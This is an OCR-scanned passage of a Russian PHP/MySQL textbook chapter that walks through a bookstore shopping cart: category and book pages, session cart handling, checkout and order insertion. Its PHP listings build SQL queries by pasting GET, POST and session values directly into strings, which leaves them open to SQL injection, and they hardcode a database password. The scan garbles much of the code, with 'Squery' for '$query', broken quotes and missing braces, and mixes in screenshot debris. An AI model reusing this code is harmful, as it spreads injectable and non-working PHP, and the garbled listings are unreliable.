Интернет представлены в виде списка ссылок. Когда поль- зователь выполняет щелчок на одной из ссылок, открывается страница с информаци- ей о соответствующей книге (рис. 28.5). 576 Часть V. Реальные проекты на РНР и MySQL
Рис. 28.4. Каждая книга категории сопровождается изображением обложки Яе £dt item Hgtory gaokmarie Tools Нф * О X ;,J ht^:/^oca#x>st#>hp»nysci/2S/show_book.php?isbn«06723178e2 Всего книг = 0 Общая суммам$000 РНР and MySQL Web Development |« Автор: Luke Welling and Laura Thomson РЙР anrt «ySllI • ISBN: 0672317842 • Наша цена: 49 99 • Аннотация: В книге "РНР & MySQL Web Development рассказывается как создавать динамические и защищенные веб-сайты электронной коммерции Вы научитесь интегрировать и реализовывать этн технологии, выполняя действующие примеры и разрабатывая целые проекты Рис. 28.5. С каждой книгой связана страница информации, содержащая краткое описание книги лава 28. Разработка покупательской тележки 577
На этой странице, помимо кнопки View Cart (Тележка), находится кнопка Add to Cart (Добавить в тележку), позволяющая выбирать товар. Мы вернемся к ней позже, когда приступим к написанию кода собственно покупательской тележки. Рассмотрим каждый из трех сценариев. Вывод списка категорий Первый сценарий, index.php, выводит список всех категорий из базы данных; код этого сценария показан в листинге 28.2. Листинг 28.2. index.php — сценарий вывода титульной страницы сайта <?php require (*book_sc_fns.php’); // Для покупательской тележки необходимо запустить сеанс session_start(); do_html_header("Добро пожаловать в магазин БУКВОФИЛ!"); echo ’<р>Пожалуйста, выберите категорию:</р>’; // Извлечь категории из базы данных $cat_array = get_categories(); // Отобразить в виде ссылок на соответствующие страницы категорий display_categories($cat_array) ; // Если пользователь вошел в систему как администратор, вывести // ссылки на добавление, удаление и редактирование категорий if(isset($_SESSION[*admin_user’])) { display_button("admin.php", "admin-menu", "Меню администрирования"); } do_html_footer(); ?> Сценарий начинается с включения файла book sc fns.php, который содержит все библиотеки функций для данного приложения. После этого потребуется запустить сеанс, который необходим для корректного функционирования покупательской тележки. Сеанс используется каждой страницей сайта. Сценарий включает вызовы функций вывода HTML-содержимого, таких как do_html_header () и do_html_f ooter (), код которых находится в файле output_fns. php. Кроме того, предусмотрен код для проверки ситуации, когда пользователь входит в систему с правами администратора. В этом случае такому пользователю предостав- ляются несколько другие средства навигации. Мы вернемся к этому вопросу в разде- ле, посвященном функциям администрирования. Ниже показана наиболее важная часть сценария: // Извлечь категории из базы данных $cat_array = get_categories(); 11 Отобразить в виде ссылок на соответствующие страницы категорий display_categories($cat_array); 578 Часть V. Реальные проекты на РНР и MySQL
> • Функции get—Categories О и display_categories () находятся, соответственно, в библиотеках book_fns.php и output_fns.php. Функция get_categories () возвра- щает массив категорий, существующих в системе, который затем передается в функцию display_categories (). Код функции get_categories () представлен в листинге 28.3. Листинг 28.3. Функция get_categories () из библиотеки book_fns.php — эта функция извлекает из базы данных список категорий function get_categories() { // Запросить в базе данных список категорий $conn = db_connect() ; $query = ’select catid, catname from categories’; $result = @$conn->query($query); if (!$result) { return false; } $num_cats = $result->num_rows; if ($num_cats == 0) { return false; } $result = db_result_to_array($result); return $result; Как видите, функция get categories () подключается к базе данных и затем из- влекает список, включающий все идентификаторы и имена категорий. Здесь исполь- зуется ранее написанная функция db result to array () из библиотеки db fns .php. Эта функция, код которой показан в листинге 28.4, принимает идентификатор ре- зультата от MySQL и возвращает массив строк с числовой индексацией, где каждая строка представляет собой ассоциативный массив. Листинг 28.4. Функция db_result_to_array() из библиотеки db_fns.php — эта функция преобразует идентификатор результата MySQL в массив результатов function db_result_to_array($result) { $res_array = array(); for ($count = 0; $row = $result->fetch_assoc() ; $count++) $res_array[$count] = $row; return $res_array; В нашем случае этот массив возвращается в сценарий index. php, где, в свою оче- редь, передается в функцию display categories () из библиотеки output fns.php. Эта функция отображает каждую категорию в виде ссылки на страницу, содержащую книги данной категории. Код функции показан в листинге 28.5. Листинг 28.5. Функция display_categories () из библиотеки output_fns.php — эта функция отображает массив категорий в виде списка ссылок на категории function display_categories($cat_array) { if (!is_array($cat_array)) { echo "В настоящий момент нет доступных категорийсЬг />"; return; } Глава 28. Разработка покупательской тележки 579
echo "<ul>"; foreach ($cat_array as $row) { $url = "show_cat.php?catid=".($row[’catid’]) ; $title = $row['catname’] ; echo "<li>"; do_html_url($url, $title); echo ”</li>"; } echo "</ul>"; echo ”<hr />"; } Функция display categories () преобразует каждую категорию базы данных в ссылку. Все ссылки передаются в следующий сценарий, show.cat.php, при этом ка- ждая из них имеет собственный параметр — идентификатор категории catid. (Это уникальное число, сгенерированное MySQL, которое служит для идентификации ка- тегории.) Упомянутый параметр определяет, какая категория должна в конечном итоге ото- бражаться. Вывод списка книг, относящихся к заданной категории * Процесс вывода списка книг, относящихся к определенной категории, аналогичен рассмотренному выше. Вывод осуществляет сценарий show cat .php, который пока- зан в листинге 28.6. Листинг 28.6. show cat .php - этот сценарий отображает книги определенной категории <?php include(’book_sc_fns.php’); // Для покупательской тележки необходимо запустить сеанс session_start(); $catid = $_GET[’catid']; $name = get_category_name($catid); do_html_header($name); // Извлечь из базы данных информацию о книге $book_array = get_books($catid) ; display_books($book_array); // Если пользователь вошел в систему как администратор, вывести // ссылки на добавление и удаление ссылок на книги if (isset($_SESSION['admin_user'])) { display_button("index.php", "continue", "Продолжить покупки"); display_button("admin.php", "admin-menu", "Меню администрирования"); display_button("edit_category_form.php?catid=" . $catid, "edit-category", "Редактировать категорию"); } else { display_button("index.php", "continue-shopping", "Продолжить покупки"); } do_html_footer(); 580 Часть V. Реальные проекты на РНР и MySQL
Структура этого сценария во многом подобна структуре сценария вывода титуль- ной страницы, с той лишь разницей, что вместо категорий извлекаются книги. Сначала, как обычно, запускается сеанс с помощью функции session start О, а затем с использованием функции get category name () передаваемый идентифика- тор категории преобразуется в имя категории: $name = get_category_name($catid); Эта функция выполняет поиск имени категории в базе данных. Код функции пред- ставлен в листинге 28.7. Листинг 28.7. Функция get_category_name () из библиотеки book_fns.php — эта функция преобразует идентификатор категории в имя категории function get_category_name($catid) { // Запросить в базе данных имя категории для данного идентификатора категории $catid = intval($catid); $conn = db_connect(); $query = "select catname from categories where catid="'.$catid."’ $result = $conn->query($query) ; if (!$result) { return false; } $num_cats = $result->num_rows; if ($num_cats == 0) { return false; } $row = $result->fetch_object(); return $row->catname; } После извлечения имени категории мы можем вывести HTML-заголовок и перей- ти к извлечению из базы данных списка книг, относящихся к выбранной категории: $book_array = get_books($catid); display_books($book_array); Функции get_books() и displaybooks() во многом подобны функциям get_categories () и display_categories (), поэтому они здесь детально не рассмат- риваются. Единственное отличие состоит в том, что информация извлекается из таб- лицы книг, а не таблицы категорий. Функция display books () создает ссылку на каждую книгу данной категории с использованием сценария show book.php. И снова каждая ссылка сопровождается параметром в виде суффикса. На этот раз он представляет собой номер ISBN конкрет- ной книги. В заключительном фрагменте сценария show cat.php содержится код для ото- бражения дополнительных функциональных возможностей в случае, когда в систему входит администратор. Мы рассмотрим этот код в разделе, посвященном функциям администрирования. Вывод информации о конкретной книге Сценарий show book.php принимает номер ISBN в качестве параметра, а затем извлекает и отображает детальные сведения о данной книге. Код этого сценария приведен в листинге 28.8. Глава 28. Разработка покупательской тележки 581
Листинг 28.8. show book. php — этот сценарий отображает данные по определенной книге <?php include (’book_sc_fns.php’); // Для покупательской тележки необходимо запустить сеанс session_start(); $isbn = $_GET[’isbn’]; / / Извлечь из базы данных информацию о конкретной книге $book = get_book_details($isbn); do_html_header($book[’title’]); display_book_details($book); // Установить URL для кнопки "Продолжить" $ target = "index .php-"; if ($book[’catid’]) { $target = "show_cat.php?catid=" . $book[’catid’]; } // Если пользователь вошел в систему как администратор, вывести // ссылку на редактирование информации о книге if (check_admin_user()) { display__button ("edit_book_form.php?isbn=" . $isbn, "edit-item", "Редактировать элемент"); display_button("admin.php", "admin-menu", "Меню администрирования"); display_button($target, "continue", "Продолжить"); } else { display_button("show_cart.php?new=" . $isbn, "add-to-cart", "Добавить " . $book[’title’] . " в мою тележку"); display_button($target, "continue-shopping", "Продолжить покупки"); } do_html_footer(); ?> Этот сценарий также очень похож на сценарии вывода двух ранее рассмотренных страниц. Сначала, как всегда, запускается сеанс, а затем с помощью строки: $book = get_book_details($isbn); из базы данных извлекается информация о книге. Для вывода данных в HTML-формате используется следующий вызов: display_book_details($book); Следует также отметить, что функция display book details () выполняет поиск файла изображения для книги по шаблону images/" . $book [ ’ isbn ’ ] . " . jpg, т.е. имя файла представляет собой номер ISBN плюс расширение . j pg. Если такого файла в каталоге images не существует, изображение не выводится. Оставшаяся часть сце- нария show book.php устанавливает средства навигации. Обычному пользователю предоставляется кнопка Continue Shopping (Продолжить покупки), возвращающая на страницу категорий, и кнопка Add to Cart (Добавить в тележку) для добавления книги в покупательскую тележку. Если вошедший в систему пользователь обладает правами администратора, ему предлагаются несколько иные опции. На этом обзор системы работы с каталогом можно считать завершенным. Давайте перейдем к коду, который реализует функциональность покупательской тележки. 582 Часть V. Реальные проекты на РНР и MySQL
Реализация покупательской тележки Функциональность покупательской тележки тесно связана с переменной сеанса cart. Она представляет собой ассоциативный массив, в котором ключами служат номера ISBN книг, д значениями — заказанное количество книг. Например, если в тележку помещается один экземпляр данной книги, в массиве появляется следующая запись: 0672329166 => 1 Приведенная запись означает один экземпляр книги с номером ISBN 0672329166. Когда книги помещаются в тележку, в массив добавляются элементы подобного рода. Во время просмотра содержимого тележки мы будем использовать массив cart для поиска в базе данных полной информации по книгам. Кроме того, используются еще две переменных сеанса для управления отображе- нием в заголовке данных по количеству элементов (Total Items) и сумме заказа (Total Price) — соответственно, items и total price. Использование сценария show_cart.php Обзор реализации покупательской тележки мы начнем со сценария show cart. php. Он выводит страницу, которая открывается после щелчка на кнопках View Cart либо Add to Cart. Если сценарий show cart. php вызывается без параметров, отображается просто содержимое тележки. Если в качестве параметра передается какой-то номер ISBN, книга, соответствующая этому номеру ISBN, добавляется в тележку. Давайте сначала посмотрим на рис. 28.6, который должен много чего проясйить. В данном случае пользователь выполнил щелчок на кнопке View Cart, когда тележка была еще пуста. Другими словами, не выбрана еще ни одна позиция для покупки. Ваша тележка Ваша тележка пуста Рис. 28.6. Сценарий show_cart.php, вызванный без параметров, просто выводит содержимое тележки На рис. 28.7 показана тележка в несколько ином состоянии, когда для покупки выбраны две книги. В данном случае пользователь попал на эту страницу в резуль- тате щелчка на кнопке Add to Cart в пределах страницы, сгенерированной сценари- Глава 28. Разработка покупательской тележки 583
ем show book.php для англоязычного варианта этой книги, РНР and MySQL Web Deve- lopment. Если внимательно посмотреть на строку адреса в браузере, можно заметить, что на сей раз сценарий вызывается с параметром. Параметр называется new и имеет значение 067232976Х, т.е. номер ISBN книги, только что помещенной в тележку. ^ Ваша тележка - Hoz4ta Firefax • File £dt View Hgtory gookmMs Toois Hefc> ggsa, ’ . , \ ______................ ! (Hr. * 0 -X. Ваша тележка Всего книг = 2 Общая сумма « РНР an j MyS^L Wgb автор Luke Welling and Laura Thomson Цена Количество Всего $49.99 1 $49-99 $24.99 h $24.99 2 $74.98 Рис- 28.7, Сценарий show_cart.php, вызванный с параметром new, помещает в тележку новый элемент На этой странице находятся еще две опции. Первую из них, кнопку Save Changes (Сохранить изменения), можно использовать для изменения количества элементов в тележке. Для этого следует непосредственно изменить количество экземпляров в полях количества и щелкнуть на кнопке Save Changes. По сути дела, это кнопка от- правки формы, которая обеспечивает возврат в сценарий show cart. php с целью об- новления содержимого тележки. В дополнение, пользователь может щелкнуть на кнопке Go То Checkout (Оконча- тельный расчет), чтобы покинуть магазин. Мы вернемся к ней немного позже. Пока же мы рассмотрим код сценария show cart. php, который показан в листин- ге 28.9. Листинг 28.9. show cart.php — этот сценарий управляет покупательской тележкой <?php include (’book_sc_fns.php’); // Для покупательской тележки необходимо запустить сеанс session_start(); @$new = $_GET[’new’]; if ($new) { / / Выбран новый элемент 584 Часть V. Реальные проекты на РНР и MySQL
if (!isset($_SESSION['cart1])) { $_SESSION['cart'] = array(); $_SESSION['items'] = 0; $_SESSION['total_price'] ='0.00'; } if (isset($_SESSION['cart'][$new])) { $_SESSION['cart'][$new]++; } else { $_SESSION['cart'][$new] = 1; } $_SESSION['total_price'] = calculate_price($_SESSION['cart']); $_SESSION['items'] = calculate_items($_SESSION['cart']) ; } if (isset($_POST['save'])) { foreach ($_SESSION['cart'] as $isbn => $qty) { if ($_POST[$isbn] == '0') { unset($_SESSION['cart'][$isbn]); } else { $_SESSION['cart'][$isbn] = $_POST[$isbn]; I } $_SESSION['total_price'] = calculate_price($_SESSION['cart']); $_SESSION['items'] = calculate_items($_SESSION['cart']); } do_html_header("Ваша тележка"); if (($_SESSION['cart']) && (array_count_values($_SESSION['cart']))) { display_cart($_SESSION['cart']); } else { echo "<р>Ваша тележка пустас/pxhr />"; } $target = "index.php"; // Если в тележку был только что добавлен новый элемент, / / продолжить покупки товаров данной категории if ($new) { $details = get_book_details($new); if ($details['catid']) { $target = "show_cat.php?catid=".$details['catid']; } } display_button($target, "continue-shopping", "Продолжить покупки"); // Используйте это, только если настроено SSL-соединение // $path = $_SERVER['PHP_SELF']; // $server = $_SERVER['SERVER_NAME']; // $path = str_replace('show_cart.php', '', $path); // display_button("https://".$server.$path."checkout.php", // "go-to-checkout", "Окончательный расчет"); // Используйте это, если SSL-соединение не установлено display_button("checkout.php", "go-to-checkout", "Окончательный расчет"); do_html_footer(); Глава 28. Разработка покупательской тележки 585
Этот сценарий состоит из трех основных частей: вывод содержимого тележки, добавление в нее элементов и сохранение изменений. Все части по порядку рассмат- риваются в следующих трех разделах. Вывод содержимого тележки Содержимое тележки должно отображаться вне зависимости от страницы, где был произведен щелчок на кнопке View Cart. В общем случае, как только посетитель щелкнет на View Cart, единственной порцией кода, которая выполняется, будет сле- дующая: if ( ($_SESSION[’cart’]) && (array_count_values($_SESSION[’cart’]))) { display_cart($_SESSION['cart']); } else { echo "<р>Ваша тележка nycTa</pxhr } Из этого кода видно, что если тележка не пуста, вызывается функция display cart (). Если же тележка пуста, посетителю просто выводится соответствую- щее сообщение. Функция display cart () всего лишь выводит содержимое тележки в читабель- ном HTML-формате, как показано на рис. 28.6 и 28.7. Код функции содержится в биб- лиотеке output fns .php и с ним можно ознакомиться в листинге 28.10. Хотя это, в общем-то, функция отображения HTML-содержимого, она достаточно сложна и за- служивает отдельного рассмотрения. Листинг 28-10. Функция display_cart () из библиотеки output_fns .php — эта функция выводит содержимое покупательской тележки function display_cart($cart, $change = true, $images = 1) { // Выводит элементы, находящиеся в покупательской тележке. // Дополнительно получает параметр $change, разрешающий (true) // или запрещающий (false) внесение изменений. // Дополнительно получает параметр $images, разрешающий (true) // или запрещающий (false) вывод изображений товаров. echo "<table border=\"0\" width=\"100%\" cellspacing=\"0\"> <form action=\"show_cart.php\" method=\"post\"> <trxth colspan=\"" . (l+$images) . "\” bgcolor=\"#cccccc\">ToBap</th> <th bgcolor=\"#cccccc\">Цена</th> <th Ьдсо1ог=\"#сссссс\"Жоличество</ЬЬ> <th bgcolor=\"#cccccc\">Bcero</th> </tr>"; // Отобразить каждый элемент в виде строки таблицы foreach ($cart as $isbn => $gty) { $book = get_book_details($isbn); echo "<tr>"; if ($images == true) { echo "<td align=\"left\">"; if (file_exists("images/".$isbn.". jpg")) { $size = GetlmageSize("images/".$isbn.". jpg"); if ($size[0] > 0 && $size[l] > 0) { echo "<img src=\"images/".$isbn.".jpg\" style=\"border: lpx solid black\" width=\"".($size[0]/3) . "\" height=\"". ($size[l]/3). "\"/>"; } 586 Часть V. Реальные проекты на РНР и MySQL
} else { echo "&nbsp;"; } echo "</td>"; } echo "<td align=\”left\’’>" . "<a href=\"sfiow_book.php?isbn=" . $isbn. . $book [ ’ title ' ] . "</a>" . ", автор ".$book[’author’]."</td>" . "<td align=\"center\">\$" .number_format ($book [ ’price ’] , 2)."</td>" . "<td align=\"center\">"; // Если разрешены изменения, представить количества в текстовых полях ввода if ($change == true) { echo "<input type=\"text\" name=\"$isbn\" value=\"$qty\" size=\"3\">"; } else { echo $qty; } echo "</td> <td align=\’’center\’’>\$’’. number_format ($book [ 'price' ] *$qty,2) . "</td> </tr>\n"; // Вывести строку общего количества и суммы заказа echo "<tr> <th colspan=\"".(2+$images)."\" bgcolor=\"#cccccc\">&nbsp;</td> <th align=\"center\" bgcolor=\"#cccccc\">".$_SESSION['items’]."</th> <th align=\’’center\" bgcolor=\’’#cccccc\"> \$".number_format($_SESSION['total_price'], 2) . " </th> </tr>"; // Вывести кнопку сохранения изменений if ($change == true) { echo "<tr> <td colspan=\"".(2+$images)."\">&nbsp;</td> <td align=\"center\"> <input type=\"hidden\" name=\"save\" value=\"true\"/> <input type=\"image\" src=\"images/save-changes.gif\" border=\"0\" alt=\"Save Changes\"/> </td> <td>&nbsp;</td> </tr>"; } echo "</formx/table>"; Давайте рассмотрим базовые алгоритмические конструкции, которые реализует данная функция. 1. Циклический обход каждого элемента тележки и передача его номера ISBN в функцию get book details (), что позволяет получить итоговую информа- цию по каждой книге. 2. Для каждой книги выводится изображение, если оно существует. Здесь при помощи HTML-дескрипторов высоты и ширины изображение немного уменьшается в размерах. В результате изображения слегка искажаются, однако они достаточно Глава 28. Разработка покупательской тележки 587
малы, чтобы это не особенно бросалось в глаза и создавало проблемы. (Если уж это вас так сильно беспокоит, можно либо изменять размеры изображений с использованием библиотеки gd, которая рассматривалась в главе 22, либо вручную подготовить для каждого продукта изображения с уменьшенными размерами.) 3. Преобразование каждой записи тележки в ссылку на соответствующую книгу, т.е. на вызов сценария show book. php с передачей ему в качестве параметра номера ISBN. 4. Если функция вызывается, когда параметр $chande получает значение true (либо вообще не получает значения, т.к. true принимается по умолчанию), для представления заказзанных количеств выводятся текстовые поля ввода. Вместе они образуют форму, в которую входит также и кнопка Save Changes. (Следует отметить, что при повторном вызове функции display cart () после осуществления окончательного расчета нельзя допустить, чтобы пользователь смог еще раз изменить свой заказ.) Эта функция не содержит ничего особо сложного, тем не менее, выполняет мно- жество операций. Именно поэтому стоит очень внимательно изучить ее код. Добавление элементов в тележку Когда пользователь попадает на страницу show cart .php в результате щелчка на кнопке Add То Cart, перед выводом содержимого тележки необходимо выполнить определенную подготовительную работу. В частности, в тележку следует поместить соответствующий элемент. Во-первых, если посетитель пока еще ничего не помещал в тележку, то собствен- но тележки и нет, поэтому ее необходимо создать: if(!isset($_SESSION['cart'])) { $_SESSION['cart’] = array(); $_SESSION['items'] = 0; $_SESSION[’total_price'] ='0.00'; } Поначалу тележка пуста. Во-вторых, когда известно, что тележка создана, в нее можно добавить элемент: if(isset($_SESSION['cart'][$new])) { $_SESSION['cart'][$new]++; } else { $_SESSION['cart'][$new] = 1; } Здесь мы проверяем, не содержится ли данный товар в тележке. Если это так, ко- личество данного товара увеличивается на единицу, в противном случае в тележку добавляется новый элемент. В-третьих, мы должны определить общую сумму заказа и количество товаров в те- лежке. Для этого применяются функции calculate_price () и calculate_items (): $-SESSION [' total_price;' ] = calculate_price ($_SESSION [' cart' ]) ; $_SESSION['items'] = calculate_items($_SESSION!'cart'])a Эти функции содержатся в библиотеке book fns .php. Их код можно найти, соот- ветственно, в листингах 28.11 и 28.12. 588 Часть V. Реальные проекты на РНР и MySQL
Листинг 28.11. Функция calculate_price() из библиотеки book_fns .php — эта функция вычисляет и возвращает общую стоимость содержимого тележки для покупок function calculate_price($cart) { // Вычисляет общую стоимость всех элементов тележки $price = 0.0; if (is_array($cart)1 { $conn = db_connect(); foreach ($cart as $isbn => $qty) { $query = "select price from books where isbn=*”.$isbn.”’ $result = $conn->query($query); if ($result) { $item = $result->fetch_object(); $item_price = $item->price; $price += $item_price*$qty; } } } return $price; } Несложно заметить, что функция calculate price () выполняет поиск в базе данных цены каждого элемента, помещенного в тележку. Этот процесс требует вре- мени, поэтому, чтобы не повторять его чаще, нежели это необходимо, цена (равно как и общее количество элементов) сохраняется в переменных сеанса. Повторные вычисления выполняются только в случаях, когда содержимое тележки изменяется. Листинг 28.12. Функция calculate_iterns () из библиотеки book_fns .php — эта функция вычисляет и возвращает общее количество элементов в тележке function calculate_items($cart) { / / Подсчитывает общее количество элементов в тележке $items = 0; if (is_array($cart)) { foreach($cart as $isbn => $qty) { $ items += $qty; } } return $items; } Функция calculate_items () намного проще — она лишь суммирует количест- ва всех элементов тележки с целью получения итогового значения. При этом вы- зывается функция array_sum(). Если массива еще нет (тележка пуста), функция calculate_items () возвращает 0. Сохранение изменений содержимого тележки Когда сценарий show cart.php вызывается в результате щелчка на кнопке Save Changes, характер процесса несколько меняется. В данном случае осуществляется передача данных формы. При внимательном рассмотрении кода можно заметить, что кнопка Save Changes является кнопкой отправки формы. Эта форма содержит скрытую переменную save. Если значение этой переменной установлено, мы знаем, что сценарий вызван в результате щелчка на кнопке Save Changes. Это означает, что пользователь мог изменить количества элементов, и желает сохранить эти изменения. Глава 28. Разработка покупательской тележки 589
Если вернуться к той части кода формы сохранения изменений, которая находит- ся в функции display_cart() из output_fns .php, можно заметить, что текстовые поля ввода количества получают имена, совпадающие с номерами ISBN, которые они представляют: * echo "<input type=\"text\" name=\"".$isbn."\" value=\"".$qty."\" size=\"3\">”; Теперь рассмотрим ту часть сценария, которая отвечает за сохранение изменений: if(isset($_POST[’save’])) { foreach ($_SESSION[’cart’] as $isbn => $qty) { if($_POST[$isbn] == ’O’) { unset($_SESSION[’cart’][$isbn]); } else { $_SESSION['cart'][$isbn] = $_POST[$isbn]; } } $_SESSION[’total_price'] = calculate_price($_SESSION['cart' ]) ; $_SESSION['items'] = calculate_items($_SESSION['cart' ] ) ; } Как видите, осуществляется перебор всех элементов, хранимых в тележке, и для каждого номера ISBN проверяется значение POST-переменной с таким же именем. В этом случае POST-переменные — это поля ранее рассмотренной формы сохранения изменений. Если какое-то поле установлено равным нулю, соответствующий элемент удаляется из тележки с помощью функции unset (). В противном случае содержимое тележки обновляется значениями полей формы: if($_POST[$isbn] == ’О’) { unset($_SESSION['cart'][$isbn]); } else { $_SESSION[’cart’][$isbn] = $_POST[$isbn]; } После обновления содержимого тележки повторно вызываются функции calculate_price() и calculate_iterns () для определения новых значений пере- менных сеанса total_price и items. Печать итоговых данных в строке заголовка Наверняка вы уже заметили, что в строке заголовка каждой страницы сайта ото- бражаются итоговые данные по состоянию покупательской тележки. Это осуществля- ется за счет вывода значений переменных сеанса total price и items при помощи функции do_html_header (). Упомянутые переменные регистрируются, когда пользователь впервые посещает страницу show cart .php. Кроме того, мы должны реализовать логику для случаев, когда пользователь еще ни разу не открывал данную страницу. Эта логика также со- держится в функции do html header (): if(’$_SESSION['items']) { $_SESSION['items'] = 'O'; } if(’$_SESSION['total_price’]) { $_SESSION['total_price'] ='0.00'; } 590 Часть V. Реальные проекты на РНР и MySQL
Выполнение окончательного расчета Когда пользователь щелкает на кнопке перехода к окончательному расчету (Go to Checkout), вызывается сценарий checkout .php. Доступ к странице окончательного расчета и связанным с ней страницам должен осуществляться через SSL-соединение, однако наше демонстрационное приложение этого не требует. (Напоминаем, что до- полнительные сведения о SSL можно найти в главе 18.) Внешний вид страницы окончательного расчета показан на рис. 28.8. Данный сценарий требует, чтобы клиент ввел свой почтовый адрес (а также адрес доставки, если они отличаются). Сценарий достаточно прост, в чем легко убедиться, просмотрев на код, показанный в листинге 28.13. Сценарий не содержит ничего особо примечательного. Если тележка пуста, об этом выводится соответствующее уведомление. В противном случае отображается форма, показанная на рис. 28.8. Когда пользователь продолжает работу, щелкнув на кнопке Purchase (Купить) в нижней части формы, запускается сценарий purchase.php. На рис. 28.9 показан вы- вод этого сценария. СЭ fej S3 Не Edit View Hjttory gookmarks Tods Help * С X ® Q httpt/^ocate Всего книг * 2 Общая сумма » $74 96 Окончательный расчет Товар Цена Количество Всего РНР md MyS X W-4- 4 •} 'И'ЪДД- автор Luke Welting and Laura Thomson $49.99 1 $49.99 Sams Teach Yoursetf PHP4 in 24 Hours, автор Matt Zandstra $24.99 1 $24.99 2 $708 Информация о вас ФИО Адрес Город/село Область Почтовый индекс Страна Адрес для доставки (не заполняйте поля, если совпадает с указанным выше) ФИО Адрес Город/село Область Почтовый индекс Страна Пожалуйста, щелкните на кнопке "Purchase" для того, чтобы подтвердить покупку, либо на кнопке “Continue Shopping" для продолжения покупок. Done Рис. 28.8. Сценарий checkout .php принимает детальную информацию о клиенте Глава 28. Разработка покупательской тележки 591
Рис. 28.9. Сценарий purchase.php вычисляет окончательную сумму заказа и расходы на доставку, а также принимает данные, касающиеся платежа Листинг 28.13. checkout.php — этот сценарий принимает детальную информацию о клиенте <?php // Включить наш набор функций require (’book_sc_fns.php’); // Для покупательской тележки необходимо запустить сеанс session_start(); do_html_header("Окончательный расчет"); if($_SESSION[’cart’] && array_count_values($_SESSION[’cart’])) { display_cart($_SESSION[’cart’], false, 0) ; display_checkout_form(); } else { echo "<р>Ваша тележка пуста</р>"; } display_button("show_cart.php", "continue-shopping", "Продолжить покупки"); do_html_footer() ; ?> 592 Часть V. Реальные проекты на РНР и MySQL
По сравнению с checkout.php этот сценарий немного сложнее. Его код можно найти в листинге 28.14. Листинг 28.14. purchase.php — этот сценарий сохраняет заказ в базе данных и принимает данные, касающиеся платежа < ?php / / Включить наш набор функций require (’book_sc_fns.php’); I/ Для покупательской тележки необходимо запустить сеанс session_start(); do_html_header("Окончательный расчет"); / / Создать короткие имена переменных $name = $_POST [ ’ name ’ ] ; $address - $_POST[’address’]; $city = $_POST[’city’]; $zip = $_POST[’zip’]; $country = $_POST['country’]; / / Если форма заполнена if ($_SESSION['cart’] && $name && $address && $city && $zip && $country) { /1 Можно ли вставлять в базу данных? if (insert_order($_POST) != false) { // Вывести тележку без изображений товаров и не разрешая изменения display_cart($_SESSION[’cart’], false, 0) ; display_shipping (calculate_shipping__cost () ) ; // Получить информацию по кредитной карточке display_card_form($name); display_button("show_cart.php", "continue-shopping", ’Продолжить покупки'); } else { echo "Невозможно сохранить данные. Пожалуйста, повторите попытку позже."; display_button("checkout.php", "back", "Назад"); } } else { echo "Вы заполнили не все поля. Пожалуйста, повторите попытку.<hr />"; display_button("checkout.php", "back", "Назад”); } do_html_footer(); ?> Логика сценария довольно-таки проста: выполняется проверка, что клиент запол- нил все поля формы, после чего в базе данных сохраняется введенная информация путем вызова функции insert_order (). Это несложная функция, вставляющая сведе- ния о клиенте в базу данных. Ее код можно найти в листинге 28.15. Листинг 28.15. Функция insert_order () из библиотеки order_fns .php — эта функция вставляет в базу данных детальную информацию о заказе <?php function process_card($card_details) { // Подключиться к шлюзу платежной системы, или воспользоваться // gpg для шифрования и отправки по электронной почте, или / / при необходимости сохранить в базе данных. return true; Глава 28. Разработка покупательской тележки 593
function insert_order($order_details) { // Извлечь детальную информацию о заказе и поместить ее в переменные extract($order_details); // Установить адрес доставки равным почтовому адресу if(!$ship_name && !$ship_address && !$ship_city && !$ship_state && !$ship_zip && !$ship_country) { $ship_name = Sname; $ship_address = $address; $ship_city = Scity; $ship_state = Sstate; $ship_zip = $zip; $ship_country = Scountry; } Sconn = db_connect(); // Вставка заказа должна выполняться в виде транзакции, // поэтому необходимо отключить autocommit $conn->autocommit(FALSE); , / / Вставить почтовый адрес клиента Squery = "select customerid from customers where name = '".$name."' and address = '".Saddress."' and city = ' ".Scity."' and state = '".Sstate."' and zip = ’”.$zip."' and country = '".$country."'"; Sresult = $conn->query(Squery); if ($result->num_rows >0) { Scustomer = $result->fetch_object(); $customerid = $customer->customerid; } else { $query = "insert into customers values (’', '".$name."','".$address."',’".Scity."', '".Sstate."', '".$zip."','".Scountry."') "; $result = $conn->query(Squery); if (!Sresult) { return false; } } Scustomerid = $conn->insert_id; Sdate = date('Y-m-d'); Squery = "insert into orders values ('', '".Scustomerid."’, '".$_SESSION['total_price’]."', '".Sdate."', '".PARTIAL."', '".$ship_name."', '".$ship_address."', '".$ship_city."', ' " . $ship__state. " ', '" . $ship_zip. " ', '" . $ ship_country .'")"; Sresult = $conn->query(Squery) ; if (!Sresult) { return false; } Squery = "select orderid from orders where customerid = '".Scustomerid."' and amount > (". $_SESS.ION [' total_pr ice 001) and amount < (".$_SESSION['total_price']."+.001) and date = '".Sdate."' and order_status = 'PARTIAL' and 594 Часть V. Реальные проекты на РНР и MySQL
ship_name = ' ".$ship_name."' and ship_address = ' ".$ship_address."' and ship_city = ' ".$ship_city."' and ship_state = ' ".$ship_state."' and ship_zip = '".$ship_zip."' and ship_country = .$ship_country."'" ; $result = $conn->query($query); if ($result->num_rows >0) { $order = $result->fetch_object(); $orderid = $order->orderid; } else { return false; } // Вставить каждую книгу из числа заказанных foreach($_SESSION['cart'] as $isbn => $quantity) { $detail = get_book_details($isbn); $query = "delete from order_items where orderid = '".Sorderid."' and isbn = '".$isbn."'"; $result = $conn->query($query); $query = "insert into order_items values ('".$orderid."', '" .$isbn."', ".$detail['price$quantity)"; $result = $conn->query($query) ; if (!$result) { return false; } } // конец транзакции . $conn->commit(); $conn->autocommit(TRUE); return $orderid; } ?> Код функции insert order () достаточно длинный, поскольку необходимо вы- полнить вставку данных о клиенте, заказе, а также информации о каждой приобре- таемой книге. Следует отметить, что различные части вставки оформлены как транзакция, кото4 рая начинается с оператора $conn->autocommit(FALSE); и заканчивается операторами $conn->commit(); $conn->autocommit(TRUE); Это единственное место в приложении, где должна применяться транзакции. Как избежать их? Посмотрите на код функции db connect (): function db_connect() { $result = new mysqli('localhost', 'book_sc', 'password', 'book_sc'); if (!$result) return false; $result->autocommit(TRUE); return $result; } Глава 28. Разработка покупательской тележки 595
